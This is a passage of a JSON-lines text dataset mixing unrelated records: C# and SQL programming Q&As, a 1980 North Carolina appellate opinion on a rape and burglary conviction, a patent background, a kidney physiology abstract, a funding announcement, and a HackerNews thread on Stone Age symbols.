on the city since the operation began on Oct. 17. Advances have been slower from the south, with government troops still some 20 miles (35 kilometers) away. Kurdish fighters and Iraqi army units are deployed to the north, while government-sanctioned Shiite militias are sweeping in from the west to try to cut off any IS escape route.","metadata":{"pile_set_name":"OpenWebText2"},"id":759} {"contents":"Q:\n\nIs it possible to add characters (instead replace defaults) for string.Trim()?\n\nI wanted to do trim by default white-space characters and by my additional characters. And I did this by following way: \nstring MyTrim(string source)\n{\n char[] badChars = { '!', '?', '#' };\n var result = source.Trim().Trim(badChars);\n return result == source\n ? result\n : MyTrim(result);\n}\n\nAs for me it is looks like stupid, because it has more iterations than it needs. Is it possible to add characters (instead replace defaults) for string.Trim()? Or where can I found array of 'default white-space characters' which is using in string.Trim() by default? It's sounds easy but I","metadata":{"pile_set_name":"StackExchange"},"id":760} {"contents":"cannot found.\n\nA:\n\nThere is no way to change the default behavior of Trim.\nYou can, however, if you must, create an array containing all the characters you want trimmed so that you can reduce the calls down to just one call, however it would be something like this:\nvar badChars =\n (from codepoint in Enumerable.Range(0, 65536)\n let ch = (char)codepoint\n where char.IsWhiteSpace(ch)\n || ch == '!' || ch == '?' || ch == '#'\n select ch).ToArray();\n\nThis will give you 1 call to Trim:\nvar result = source.Trim(badChars);\n\nIdeally you would store that badChars somewhere so you don't have to build it all the time.\nNow, will this be faster","metadata":{"pile_set_name":"StackExchange"},"id":761} {"contents":"than two calls? I don't know, but I would measure it if necessary.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":762} {"contents":"\n269 S.E.2d 125 (1980)\n301 N.C. 18\nSTATE of North Carolina\nv.\nHoward Matthew JOYNER.\nNo. 109.\nSupreme Court of North Carolina.\nAugust 15, 1980.\n*128 Rufus L. Edmisten, Atty. Gen., by Charles M. Hensey, Asst. Atty. Gen., for the State.\nFrederick G. Lind, Asst. Public Defender, for defendant-appellant.\nEXUM, Justice.\nDefendant assigns as error various rulings on the admission and exclusion of evidence, the denial of his motion to dismiss for insufficiency of evidence, and portions of the court's charge to the jury. For reasons stated in the opinion, we find that defendant's trial was free from prejudicial error.\nEvidence for the state tended to show the following: At approximately 4:42 a. m. on 22 April 1979, Helen Young was awakened in her apartment in High Point, North Carolina, by a black male wearing a toboggan and a jogging","metadata":{"pile_set_name":"FreeLaw"},"id":763} {"contents":"suit. Ms. Young testified that the man had an object in his hand which she thought was a knife. He threatened her, placed the object against her head, and forced her to have intercourse with him. At approximately 5:00 a. m., just after the intruder left her apartment, Ms. Young called the police. She described the assailant as a bearded black male, wearing a toboggan and a jogging outfit with white stripes down the side. The description was dispatched to patrolling officers. At about 5:10 a. m., High Point police officer Neil Kearns saw defendant standing in a parking lot approximately three and one-half blocks from Ms. Young's apartment. He was wearing a two-piece, lime green jogging suit and a brown toboggan. Kearns stopped defendant and confirmed by","metadata":{"pile_set_name":"FreeLaw"},"id":764} {"contents":"radio the victim's description. Kearns placed defendant in his patrol car. Subsequently Kearns found on or near defendant some paperback books and a cigarette lighter, which Ms. Young later identified as having been missing from her apartment since the incident with her assailant.\nDefendant testified in his own behalf and offered evidence tending to show that around midnight on 21 April 1979, he began jogging and walking around High Point. He testified that he found the paperback books, the lighter and some cigarettes on the ground just before Kearns arrested him. Defendant denied committing any of the acts charged.\nThe jury returned verdicts of guilty of first degree rape, first degree burglary and larceny.\nDefendant first assigns as error the denial of his motion to suppress physical evidence seized from him","metadata":{"pile_set_name":"FreeLaw"},"id":765} {"contents":"and a pre-trial statement made by him as being the fruits of an illegal arrest. Relying on Dunaway v. New York, 442 U.S. 200, 99 S.Ct. 2248, 60 L.Ed.2d 824 (1979), defendant contends that Kearns had no probable cause to take him into custody and therefore any evidence emanating from that illegal seizure of his person should be suppressed. We disagree.\nIn Dunaway, supra, the United States Supreme Court held that the seizure of one's person for custodial questioning amounts to an arrest and must be supported by probable cause. If not the arrest is illegal, and any incriminating evidence obtained by its exploitation is inadmissible. Our inquiry, then, must focus on whether Kearns had probable cause to arrest defendant at the time he took defendant into custody.\nProbable cause","metadata":{"pile_set_name":"FreeLaw"},"id":766} {"contents":"exists when there is \"a reasonable ground of suspicion, supported by circumstances sufficiently strong in themselves to warrant a cautious man in believing the accused to be guilty.\" State v. Streeter, 283 N.C. 203, 195 S.E.2d 502 (1973); 5 Am.Jur.2d, Arrest \u00a7 44 (1962). The existence of probable cause depends upon \"whether at that moment the facts and circumstances within [the officer's] knowledge and of which [he] had reasonably trustworthy information were sufficient to warrant a prudent man in believing that the [suspect] had committed or was committing an offense.\" Beck v. Ohio, 379 U.S. 89, 91, 85 S.Ct. 223, 225, 13 L.Ed.2d 142 (1964).\nHere the trial court conducted a voir dire hearing to determine the admissibility of the evidence challenged by defendant's motion to suppress. The court","metadata":{"pile_set_name":"FreeLaw"},"id":767} {"contents":"found facts and *129 concluded that probable cause for defendant's arrest existed and that defendant \"was lawfully seized and lawfully arrested.\"\nFacts found by the trial court included the following: Kearns observed defendant some three and one-half blocks from Ms. Young's apartment \"some seven to ten minutes following the commission of the . . . offenses.\" Kearns had earlier been alerted by police radio of the commission of the offenses against Ms. Young and had been given a description of the offender as a black male with facial hair, wearing a toboggan and a green or blue jogging suit with white stripes down the sides of the trousers. When Kearns observed defendant, he reconfirmed by radio this description. Kearns noted that defendant matched the description and placed him under","metadata":{"pile_set_name":"FreeLaw"},"id":768} {"contents":"arrest. These findings are amply supported by evidence adduced at the suppression hearing; therefore, they are conclusive on appeal. State v. Haskins, 278 N.C. 52, 178 S.E.2d 610 (1971). The findings, in turn, fully warrant the trial judge's conclusions that Officer Kearns had probable cause to believe that defendant was the offender in question. The proximity of defendant to the place of the offense and the similarity of his appearance to the description given by Ms. Young of her assailant provided Kearns with the probable cause prerequisite to a lawful arrest. See State v. Jacobs, 277 N.C. 151, 176 S.E.2d 744 (1970) and cases cited therein. This assignment of error is overruled.\nDefendant next assigns as error the admission into evidence of the following testimony by Ms. Young:\n\"Q. Just","metadata":{"pile_set_name":"FreeLaw"},"id":769} {"contents":"describe to them the best you saw him right there.\nA. He was standing over me, I saw him standing over me, he had something in his right hand, and I assumed it was a knife.\nMR. LIND: Object, and move to strike.\nTHE COURT: Overruled.\nThe object he had in his hand was roughly six or eight inches long. He was holding it like this in his hand. (Indicating.)\nMR. KIMEL: May I approach the witness, Your Honor?\nTHE COURT: All right.\nTO THE FOLLOWING QUESTION AND ANSWER, THE DEFENDANT IN APT TIME OBJECTED AND NOW OBJECTS AND EXCEPTS AND THIS CONSTITUTES DEFENDANT'S\nEXCEPTION NO. 5\nQ. Let me show you what's been marked for identification as State's Exhibit 1. I will ask you to examine State's Exhibit Number 1, if you would. Do you recognize","metadata":{"pile_set_name":"FreeLaw"},"id":770} {"contents":"State's Exhibit Number 1?\nA. It could have been what he was holding in his hand.\"\nDefendant contends the witness should not have been permitted to testify that she \"assumed\" the object was a knife inasmuch as such testimony constitutes an inadmissible opinion or conclusion. He also argues that her last answer is merely speculative and therefore inadmissible.\nOrdinarily a lay witness is not permitted to give opinion or make conclusions. State v. Watson, 294 N.C. 159, 240 S.E.2d 440 (1977). A witness, not an expert, may testify only to that which \"he has apprehended by any of his five senses or all of them together.\" State v. Fentress, 230 N.C. 248, 52 S.E.2d 795 (1949). A witness may, however, testify as to \"instantaneous conclusions . . . derived from observation","metadata":{"pile_set_name":"FreeLaw"},"id":771} {"contents":"of a variety of facts presented to the senses at one and the same time.\" State v. Leak, 156 N.C. 643, 647, 72 S.E. 567, 568 (1911). See generally 1 Stansbury's North Carolina Evidence \u00a7 125 (Brandis Rev.1973). Furthermore, \"[w]hen terms such as `I think,' `my impression is' or `I believe' connote an indistinctiveness of perception or memory, they are not objectionable although they may carry little weight.\" State v. Henderson, 285 N.C. 1, 15, 203 S.E.2d 10, 20 (1974), death sentence vacated, 428 U.S. 902, 96 S.Ct. 3202, 49 L.Ed.2d 1205 (1976); State v. Carson, 296 N.C. 31, 249 S.E.2d 417 (1978) (prosecuting witness' testimony that she \"thought\" she saw a knife held competent).\n*130 Here after the portions of her testimony in question, Ms. Young also testified","metadata":{"pile_set_name":"FreeLaw"},"id":772} {"contents":"that her assailant held [indicating] an \"object\" in his hand which was \"roughly six or eight inches long\"; that this object was \"placed beside my head during the time of the sexual intercourse\"; that she then \"felt the cold metal of it.\" Later on cross-examination, Ms. Young testified, \"I thought the object in [my assailant's] hand was a knife. He was holding it in his right hand, he was standing over me with it in his right hand.\"\nIt is clear enough, therefore, that when Ms. Young testified that she \"assumed\" the object which she saw and felt was a knife, she was either giving her then instantaneous conclusion derived from \"a variety of facts presented\" to her senses or stating, in effect, that her impression, although indistinct, was","metadata":{"pile_set_name":"FreeLaw"},"id":773} {"contents":"that the object was a knife. Under either theory this portion of her testimony was correctly admitted into evidence.\nHer statement that the object she had observed \"could have been\" State's Exhibit No. 1, which she described as a \"black handled screwdriver with a bent end on it\" and which, other evidence showed, was in defendant's possession at the time of his arrest, was likewise properly admitted into evidence. \"So far as the North Carolina decisions go, any object which has a relevant connection with the case is admissible in evidence, in both civil and criminal trials.\" 1 Stansbury's North Carolina Evidence \u00a7 118 (Brandis Rev.1973). It is not necessary that the witness positively identify the object. \"His lack of positive identification affects the weight of his testimony rather","metadata":{"pile_set_name":"FreeLaw"},"id":774} {"contents":"than its admissibility.\" State v. Fikes, 270 N.C. 780, 155 S.E.2d 277 (1967) (\"I cannot absolutely identify it. . . but [pistol] looks exactly like mine.\") State v. Jarrett, 271 N.C. 576, 157 S.E.2d 4 (1967) (bank bags looked \"similar to\" the ones the witness had seen on the night of the alleged crime); State v. Patterson, 284 N.C. 190, 200 S.E.2d 16 (1973) (\"[t]his is either the shotgun or very similar to the one I saw. . . .\"). See generally 1 Stansbury's, supra, \u00a7 129.\nThe thrust of Ms. Young's entire testimony on this point is that her senses of sight and touch led her to instantaneously conclude or indistinctly perceive at the time of the incident that the object was a knife; but upon reflection, what","metadata":{"pile_set_name":"FreeLaw"},"id":775} {"contents":"she actually saw and felt at the time was not inconsistent with the object's being a screwdriver like State's Exhibit No. 1. She could not at trial be sure that it was a knife or a screwdriver. She was sure that it was six or eight inches long, that it felt cold and metallic against her head, and that what she saw and felt was consistent with its being either a knife or a screwdriver. The jury must have so understood her testimony. It was proper for her to so testify.\nBy his third assignment of error, defendant contends that the trial court erred in sustaining the state's objection to his questioning the prosecutrix concerning prior acts of misconduct. During defendant's cross-examination of Ms. Young the following exchange occurred:\n\"Q.","metadata":{"pile_set_name":"FreeLaw"},"id":776} {"contents":"Now, isn't it true that you smoked marijuana the weekend before that?\nMR. KIMEL: Objection, what's that got to do with this case?\nTHE WITNESS: If you are talking about\u0097\nTHE COURT: Sustained.\nMR. LIND: I'd like her answer in the record, Judge.\nTHE COURT: All right, mark the question.\nTHE WITNESS: If you are talking about Easter weekend, yes, I did.\"\nLater during a break in the trial and in the absence of the jury the following transpired:\n\"THE COURT: All right. Read the next question.\nTHE COURT REPORTER: The question asked by Mr. Lind: Isn't it true that you smoked marijuana the weekend before that?\nTHE COURT: Answer the question.\nTHE WITNESS: I told him if he was talking about the weekend before that, if it was Easter weekend, it was.\"\n*131 Defendant contends that he was entitled","metadata":{"pile_set_name":"FreeLaw"},"id":777} {"contents":"to cross-examine Ms. Young regarding her prior acts of misconduct even if she has not been criminally convicted of them. See State v. Monk, 286 N.C. 509, 212 S.E.2d 125 (1975). Nonetheless defendant's assignment of error on this point must fail. The record shows that Ms. Young answered the question affirmatively before the jury notwithstanding the trial court's ruling. Defendant got the benefit of his question from the trial court's ruling. Even if the impact of the witness' answer was diminished by the ruling of the trial court, defendant has not shown any \"reasonable possibility that, had the error . . . not been committed, a different result would have been reached at the trial.\" G.S. 15A-1443(a). The question was designed at most to impeach the victim's credibility","metadata":{"pile_set_name":"FreeLaw"},"id":778} {"contents":"as a witness. Yet her credibility was not a significant issue at this trial. Her testimony essentially established only that she was the victim of several criminal offenses. The primary defense was not that the witness was not in fact a victim, but that defendant was not the perpetrator. The witness never purported to identify defendant as her assailant. The state sought to establish this identity by other evidence.\nDefendant next assigns as error the denial of his motion to dismiss the charge of rape for insufficiency of the evidence. In support of this assignment, he argues that there was no direct identification evidence and that other circumstantial evidence was insufficient to identify him as the culprit. We disagree.\n\"A motion to nonsuit in a criminal case requires consideration of","metadata":{"pile_set_name":"FreeLaw"},"id":779} {"contents":"the evidence in the light most favorable to the state, and the state is entitled to every reasonable intendment and every reasonable inference to be drawn therefrom.\" State v. McKinney, 288 N.C. 113, 117, 215 S.E.2d 578, 581 (1975). \"The test of the sufficiency of the evidence to withstand such a motion is the same whether the evidence is circumstantial, direct, or both.\" State v. Cutler, 271 N.C. 379, 383, 156 S.E.2d 679, 682 (1967). \"The question for the court is whether there is substantial evidence to support a finding both that an offense charged in the bill of indictment has been committed and that defendant committed it.\" State v. Roseman, 279 N.C. 573, 580, 184 S.E.2d 289, 294 (1971). For purposes of ruling on the motion, the","metadata":{"pile_set_name":"FreeLaw"},"id":780} {"contents":"court takes as true all of the state's evidence; whether the testimony is true or false and what it proves or fails to prove are matters for the jury. State v. Bowman, 232 N.C. 374, 61 S.E.2d 107 (1950).\nApplying these well-established principles, we hold that there was ample evidence to submit the charge of first degree rape to the jury. Ms. Young testified that she had been forced against her will to have sexual intercourse with a black male wearing a toboggan and jogging outfit while he held a long, cold, metallic object against her head which she thought was a knife but which could have been a screwdriver. She also testified concerning several items which were missing from her apartment following the incident, including a cigarette lighter","metadata":{"pile_set_name":"FreeLaw"},"id":781} {"contents":"and some paperback books. Within minutes of the alleged incident defendant was discovered three and one-half blocks away dressed substantially as Ms. Young had described her assailant. Found in his possession were several objects matching the description of objects missing from Ms. Young's apartment, including two objects which she specifically identified as belonging to her. Assuming the state's evidence to be true, we hold it ample to survive defendant's motion to dismiss.\nDefendant next contends the trial court erred in charging the jury on the doctrine of recent possession as it related to the rape charge. The trial court's instructions to the jury on circumstantial evidence included the following challenged instruction:\n\"Further, members of the jury, the State of North Carolina seeks to establish the defendant Howard Matthew Joyner's guilt,","metadata":{"pile_set_name":"FreeLaw"},"id":782} {"contents":"in part, by the doctrine of `Recent Possession.' For this doctrine to apply, in this case, the State must prove these three things, and do so beyond a reasonable doubt. First: that the L&M cigarettes, the three books, the cigarette *132 lighter and the eighteen dollars in currency was stolen. Second: that the defendant, Joyner, had possession of these same items of property that I have just designated; and a person possesses books and cigarettes and cigarette lighter and money, when he is aware of its presence and has, either by himself or together with others, both the power and intent to control its disposition or use. And third: that the defendant, Joyner, had possession of these particular items of property so soon after these items were stolen,","metadata":{"pile_set_name":"FreeLaw"},"id":783} {"contents":"and understood such circumstances as to make it unlikely that he obtained possession honestly. If you find these things from the evidence, beyond a reasonable doubt, you may consider them, together with all the other facts and circumstances in deciding whether or not the defendant is guilty of rape, burglary and larceny.\"\nDefendant contends it was error to instruct the jurors that they could consider his recent possession of stolen goods as a circumstance tending to prove him guilty of rape. Under the facts of this case we disagree.\nIt is well established that the \"possession of stolen property recently after the theft, and under circumstances excluding the intervening agency of others, affords presumptive evidence that the person in possession is himself the thief, and the evidence is stronger or","metadata":{"pile_set_name":"FreeLaw"},"id":784} {"contents":"weaker, as the possession is nearer to or more distant from the time of the commission.\" State v. Patterson, 78 N.C. 470, 472-473 (1878). While the fact of recent possession has been said to raise a \"presumption,\" it is more accurately deemed to raise a permissible inference that the possessor is the thief. State v. Frazier, 268 N.C. 249, 150 S.E.2d 431 (1966). \"The presumption, or inference as it is more properly called, is one of fact and not of law. The inference derived from recent possession `is to be considered by the jury merely as an evidentiary fact along with other evidence in the case, in determining whether the State has carried the burden of satisfying the jury beyond a reasonable doubt of the defendant's guilt.'\" State","metadata":{"pile_set_name":"FreeLaw"},"id":785} {"contents":"v. Fair, 291 N.C. 171, 173, 229 S.E.2d 189, 190 (1976). The inference which arises, however, is that the possessor is the thief. Ibid.\nWhile the trial judge here referred to the \"doctrine of recent possession,\" he nowhere charged that the fact of possession raised a presumption or even an inference that defendant was guilty of any of the crimes charged against him. He merely stated that the jury might consider defendant's recent possession \"together with all the other facts and circumstances in deciding whether or not the defendant is guilty of rape, burglary and larceny.\" Here the evidence tends to show that the larceny, burglary and rape all occurred at or about the same time as part of one criminal enterprise committed by the same assailant. Under these","metadata":{"pile_set_name":"FreeLaw"},"id":786} {"contents":"circumstances defendant's recent possession of the stolen property is a circumstance tending to show that defendant was present in Ms. Young's apartment at the time the rape occurred. Therefore it is a circumstance which the jury was entitled to consider on the question of defendant's guilt not only of the larceny but also of the rape. \"Whenever goods have been taken as a part of the criminal act, the fact of subsequent possession is some indication that the possessor was the taker, and therefore the doer of the whole crime.\" 1 Wigmore on Evidence \u00a7 153 (3d Ed. 1940). (Emphasis added.) In Williams v. Commonwealth, 29 Pa. 102, 106 (1857), it was correctly stated that \"possession of the fruits of the crime is of great weight in establishing","metadata":{"pile_set_name":"FreeLaw"},"id":787} {"contents":"the proof of murder, where that crime has been accompanied with robbery.\" See also People v. Jackson, 182 N.Y. 66, 74 N.E. 565 (1905).\nWe hold, therefore, that the trial judge properly instructed the jury that it could consider defendant's recent possession of the stolen property as a relevant circumstance in determining whether defendant was guilty of all the crimes charged against him, where, as here, all of the crimes including the larceny occurred as a part of the same criminal enterprise.\nBy his sixth assignment of error defendant contends the trial court erred in charging on the felonious intent prerequisite to *133 defendant's guilt of burglary. The court instructed the jury that to convict defendant of burglary it must find that at the time of the breaking and entering","metadata":{"pile_set_name":"FreeLaw"},"id":788} {"contents":"the defendant intended to commit rape or larceny. The indictment alleged only that the breaking and entering occurred with the intent to commit larceny. Defendant argues that the state is bound by that theory of the case; therefore the trial court erred in instructing on rape as an alternative specific felonious intent.\nA specific felonious intent is an essential element of burglary which must be alleged and proved. State v. Thorpe, 274 N.C. 457, 164 S.E.2d 171 (1968). The state is held to proof of the intent alleged in the indictment, and it is error for the trial judge \"to permit a jury to convict upon some abstract theory not supported . . . by the bill of indictment.\" State v. Dammons, 293 N.C. 263, 237 S.E.2d 834 (1977);","metadata":{"pile_set_name":"FreeLaw"},"id":789} {"contents":"State v. Thorpe, supra; State v. Jones, 227 N.C. 94, 40 S.E.2d 700 (1946). We therefore hold that the trial court erred in submitting for the jury's consideration a specific felonious intent not alleged in the indictment.\nNevertheless, we hold the error here is harmless. Defendant has failed to meet his burden of showing that, \"had the error in question not been committed, a different result would have been reached at the trial.\" G.S. 15A-1443(a). Whether defendant intended to commit either larceny or rape or both at the time he entered the dwelling is a fact which in this case must be inferred, if at all, from defendant's actions after he entered. The evidence tended to show that defendant, once inside, committed both rape and larceny. The evidence therefore","metadata":{"pile_set_name":"FreeLaw"},"id":790} {"contents":"that he intended to commit one of these crimes when he entered is no weaker or stronger than the evidence that he intended to commit the other. The jury found beyond a reasonable doubt that once inside, defendant committed both. Under these circumstances we are satisfied that the result would have been the same on the burglary charge had the judge limited the jury's consideration on the specific intent element to larceny as charged in the indictment.\nDefendant's remaining assignments of error are formal and require no further discussion.\nDefendant received a fair trial free from prejudicial error.\nNO ERROR.\nBROCK, J., did not participate in the decision of this case.\n","metadata":{"pile_set_name":"FreeLaw"},"id":791} {"contents":"Q:\n\nComparing a hashed string in xml\n\nI am attempting a small project with a login screen that will hash a password when a user creates login details, and stores it in an XML file. When the user logs in, it hashes the recently entered password, and compares it to the password that is underneath the matching username. \nThe problem I am facing is that I believe it is somehow adding the username to the password and comparing that. I set breakpoints and confirmed that the hashes are exactly the same. An example of my XML file:\n<Users> \n <User> \n <Username>Tom<\/Username>\n <Password>1981188637181704932922387266155158141224105130616330512161251851292213221146244100<\/Password>\n <\/User> \n<\/Users>\n\nAnd here is my code for when a login takes place:\nprivate","metadata":{"pile_set_name":"StackExchange"},"id":792} {"contents":"bool GetUser(string username, string password, string path)\n {\n XDocument doc = new XDocument();\n byte[] bytes = Encoding.UTF8.GetBytes(password);\n SHA256Managed sha256 = new SHA256Managed();\n byte[] hPass = sha256.ComputeHash(bytes);\n password = string.Empty;\n var result = (from item in \n XDocument.Load(\"users.xml\").Descendants(\"User\")\n ","metadata":{"pile_set_name":"StackExchange"},"id":793} {"contents":" where item.Element(\"Username\").Value == username &&\n item.Element(\"Password\").Value == Encoding.Default.GetString(hPass)\n select item).FirstOrDefault();\n if (result != null)\n {\n return true;\n }\n else\n {\n ","metadata":{"pile_set_name":"StackExchange"},"id":794} {"contents":" return false;\n }\nIf I were to look at the value I'm pulling it reads\n\"Tom1981188637181704932922387266155158141224105130616330512161251851292213221146244100\"\nNot sure if that is the way is supposed to look or if I have made an error in my code. I feel that is the problem seeing as I have double checked and the comparison should return correct.\n\nA:\n\nresult.Value will look like that as Value: Gets or sets the concatenated text contents of this element.\nYou should end up with the correct user element where result.Element(\"Username\") is Tom.\nThe password in your XML looks to be encoded some how, whereas Encoding.Default.GetString(hPass) will not return a string in that format...\n\n","metadata":{"pile_set_name":"StackExchange"},"id":795} {"contents":"1-(4-amino-2-quinazolinyl)-piperidines and derivatives thereof containing in the piperidine-4-position \"alkyl . . . alkoxy . . . hydroxy, hydroxyalkyl . . . phenyl, benzyl (and) 4-phenyl-4-carboxylic acid alkyl ester\" are \"hypotensive agents\" according to U.S. Pat. Nos. 3,511,836 and 3,635,979. Surprisingly, the compounds according to this invention, containing the lactam-nitrogen atom in the piperidine-3 or 4-position, exhibit superior hypotensive and anti-hypertensive activity by way of the .alpha.-blocking mechanism, and a lesser tendency towards the development of tolerance.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":796} {"contents":"Afferent arteriolar adenosine A2a receptors are coupled to KATP in in vitro perfused hydronephrotic rat kidney.\nAdenosine is known to exert dual actions on the afferent arteriole, eliciting vasoconstriction, by activating A1 receptors, and vasodilation at higher concentrations, by activating lower-affinity A2 receptors. We could demonstrate both of these known adenosine responses in the in vitro perfused hydronephrotic rat kidney. Thus, 1.0 microM adenosine elicited a transient vasoconstriction blocked by 8-cyclopentyl-1,3-dipropylxanthine (DPCPX), and 10-30 microM adenosine reversed KCl-induced vasoconstriction. However, when we examined the effects of adenosine on pressure-induced afferent arteriolar vasoconstriction, we observed a third action. In this setting, a high-affinity adenosine vasodilatory response was observed at concentrations of 10-300 nM. This response was blocked by both 4-(2-[7-amino-2-(2-furyl)[1,2,4]triazolo[2,3-a][1,3, 5]triazin-5-yl-amino]ethyl)phenol (ZM-241385) and glibenclamide and was mimicked by 2-phenylaminoadenosine (CV-1808)","metadata":{"pile_set_name":"PubMed Abstracts"},"id":797} {"contents":"(IC50 of 100 nM), implicating adenosine A2a receptors coupled to ATP-sensitive K channels (KATP). Like adenosine, 5'-N-ethylcarboxamidoadenosine (NECA) elicited both glibenclamide-sensitive and glibenclamide-insensitive vasodilatory responses. The order of potency for the glibenclamide-sensitive component was NECA > adenosine = CV-1808. Our findings suggest that, in addition to the previously described adenosine A1 and low-affinity A2b receptors, the renal microvasculature is also capable of expressing high-affinity adenosine A2a receptors. This renal adenosine receptor elicits afferent arteriolar vasodilation at submicromolar adenosine levels by activating KATP.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":798} {"contents":"Audux Secures over \u00a3255K in VC Funding\n\nMidven, a Birmingham, UK-based-based venture capital firm, made the investment along with private investors.\n\nThe company will use the funds to expand operations.\n\nLed by Dennis Wright, Chairman, Audux provides POBIT, a product suite developed by technologists Claus Estrup Vesterskov and Thomas Sondrup to enable a venue, an artist or production company to produce broadcast quality video content without the expense of a full outside broadcast unit.","metadata":{"pile_set_name":"Pile-CC"},"id":799} {"contents":"Q:\n\nIs it possible to use LAG() with WHERE?\n\nWe are creating a warehouse system. In this system, we will have a Extract page (I don't know if this is the right word to describe it, but it's the same as the log in our bank account, where we have all transactions, with the values and then, subtract it to the total value, it's a bank extract I guess).\nWe need a table to be like this:\n\nThe table will have all transactions from fiscal notes (with entries and exits of products). If you notice, you can see the ID 1 will appear in position 1, 2, and 4. I did try to use LAG, but with the LAG function, it's getting the ID 3 value. \nHow can I get the lag","metadata":{"pile_set_name":"StackExchange"},"id":800} {"contents":"value, but with the desired product id? I need the last total value of PR_ID = 1.\nI tried this:\nbegin tran\ninsert into almoxarifado.Movimentacao\n (produto_id,documento,data,saldo_anterior,entradas,saidas)\nselect\nLotes.produto_id as produto_id,\nNF.numero as documento,\nnf.data_cadastro as data,\n>>The lag value would be here, I need this field, to be the last total value,\n>>but from this specific product.\nLotes.quantidade as entradas,\n0 as saidas\nfrom Almoxarifado.Entradas\njoin Compras.Notas_Fiscais NF on Entradas.nota_fiscal_id = NF.id\njoin Compras.Notas_Fiscais_Produtos NFP on NFP.nota_fiscal_id = NF.id\njoin Almoxarifado.Lotes on Lotes.nota_fiscal_produto_id = NFP.id \n where convert(date,NF.data_cadastro) = '2017-01-10'\n\nEvery row needs to have its own total. Let's say day 2, we had 3 water gallons, it gives me a total of 10. then, day 4 I got 3 gallons, I need the row with the total = 10, and in this new row, the total of 13.\nIt's like a bank extract,","metadata":{"pile_set_name":"StackExchange"},"id":801} {"contents":"where you see your expenses, and the total on each row. Because, the next step would create a view, that will select this table, by product, so , I can see every total, every entry and product exit during a period of time.\n\nA:\n\nLet me know if this solve your problem.\nI've set up a rextester example to test it. \nI've used this data:\ncreate table #mov(produto_id int, documento int, data_cadastro datetime, entradas int, salidas int);\n\ninsert into #mov values\n(1, 1, '2017-01-01', 10, 0),\n(1, 1, '2017-01-02', 10, 2),\n(2, 1, '2017-01-01', 10, 0),\n(1, 1, '2017-01-03', 10, 0),\n(3, 1, '2017-01-02', 10, 0);\n\nTo get the cumulative sum, apply SUM() OVER clause in this way:\nselect \n produto_id, \n documento,\n entradas,\n salidas,\n ","metadata":{"pile_set_name":"StackExchange"},"id":802} {"contents":"sum(entradas-salidas) over (partition by produto_id order by produto_id, data_cadastro\n rows between unbounded preceding and current row) as acumulato\nfrom\n #mov\n\nThis is the result:\n+------------+-----------+----------+---------+-----------+\n| produto_id | documento | entradas | salidas | acumulato |\n+------------+-----------+----------+---------+-----------+\n| 1 | 1 | 10 | 0 | 10 |\n+------------+-----------+----------+---------+-----------+\n| 1 | 1 | 0 | 2 | 8 ","metadata":{"pile_set_name":"StackExchange"},"id":803} {"contents":" |\n+------------+-----------+----------+---------+-----------+\n| 1 | 1 | 10 | 0 | 18 |\n+------------+-----------+----------+---------+-----------+\n| 2 | 1 | 12 | 0 | 12 |\n+------------+-----------+----------+---------+-----------+\n| 3 | 1 | 5 | ","metadata":{"pile_set_name":"StackExchange"},"id":804} {"contents":" 0 | 5 |\n+------------+-----------+----------+---------+-----------+\n\nIf you need the last acumulato in the same row, you can use:\n;with cteSum as\n(\n select \n produto_id,\n data_cadastro,\n documento,\n entradas,\n salidas,\n sum(entradas-salidas) over (partition by produto_id order by produto_id, data_cadastro\n rows between unbounded preceding and current row) as acumulato\n from\n #mov\n)\nselect produto_id, documento, entradas, salidas, acumulado, \n ","metadata":{"pile_set_name":"StackExchange"},"id":805} {"contents":" lag(acumulato,1,0) over (partition by produto_id order by produto_id, data_cadastro) as last_acm\nfrom cteSum;\n\n+------------+-----------+----------+---------+-----------+----------+\n| produto_id | documento | entradas | salidas | acumulato | last_acm |\n+------------+-----------+----------+---------+-----------+----------+\n| 1 | 1 | 10 | 0 | 10 | 0 |\n+------------+-----------+----------+---------+-----------+----------+\n| 1 | 1 | 0 | 2 | 8 ","metadata":{"pile_set_name":"StackExchange"},"id":806} {"contents":" | 10 |\n+------------+-----------+----------+---------+-----------+----------+\n| 1 | 1 | 10 | 0 | 18 | 8 |\n+------------+-----------+----------+---------+-----------+----------+\n| 2 | 1 | 12 | 0 | 12 | 0 |\n+------------+-----------+----------+---------+-----------+----------+\n| 3 ","metadata":{"pile_set_name":"StackExchange"},"id":807} {"contents":" | 1 | 5 | 0 | 5 | 0 |\n+------------+-----------+----------+---------+-----------+----------+\n\n","metadata":{"pile_set_name":"StackExchange"},"id":808} {"contents":"\nCode hidden in Stone Age art may be the root of human writing (2016) - DanBC\nhttps:\/\/www.newscientist.com\/article\/mg23230990-700-in-search-of-the-very-first-coded-symbols\/\n======\nmmjaa\nI love it - as a fan of the crackpot Szukalski, seeing real science making\nsimilar conclusions to his, just tickles my pickle.\n\nFor those who don't know, Szukalski saw these patterns and similarities in\nancient art, decades ago - and from this observation, formulated the theory\nthat there was a common language in the civilisations that sprouted up before\n'ancient history' \\- i.e. a pre-history civilisation, lost in a cataclysm,\nspread its survivors around the globe - who then coded their common language\n(\"Protong!\") into cave art and so on.\n\nI really have to wonder if any of the serious researchers have read the book\n\"Behold! The Protong!\" by Szukalski, which recounts his investigation into\nthis topic. It'd be somewhat unique -","metadata":{"pile_set_name":"HackerNews"},"id":809} {"contents":"and terrifying (coz: Zermatism) - to\nhear that Szukalski was really onto something, all those decades ago ..\n\n[https:\/\/en.wikipedia.org\/wiki\/Stanis\u0142aw_Szukalski](https:\/\/en.wikipedia.org\/wiki\/Stanis\u0142aw_Szukalski)\n\n[https:\/\/www.amazon.com\/Behold-Protong-Robert-\nWilliams\/dp\/086...](https:\/\/www.amazon.com\/Behold-Protong-Robert-\nWilliams\/dp\/0867195193)\n\n~~~\nmcguire\nWait.\n\nThe yetis are here for our women?\n\n~~~\nmmjaa\nYeah, I'm not quite willing to go that far into the madness with the\ncrackpot'edness. But I think Protong is an intriguing idea, and that it is\nbeing represented artistically with skill, well .. why not ..\n\nZermatism? That can be ignored safely, I feel. At least until science catches\nup. And then I suppose none of us Yeti will be safe.\n\n------\nsteve_gh\nThis is very interesting - to see this sort of thing in paleographic studies\nis very very cool\n\nI remember in my PhD days (studying AI), having long conversations, exploring\nwhat it was for an AI to be intelligent. One strand we considered was around\nlanguage and magic - the central idea we","metadata":{"pile_set_name":"HackerNews"},"id":810} {"contents":"were playing with was that language\nand magic are intertwined - the role of sympathetic magic in manipulating\nreality bby manipulating symbols was tied to language as a representation of\nreality. So the 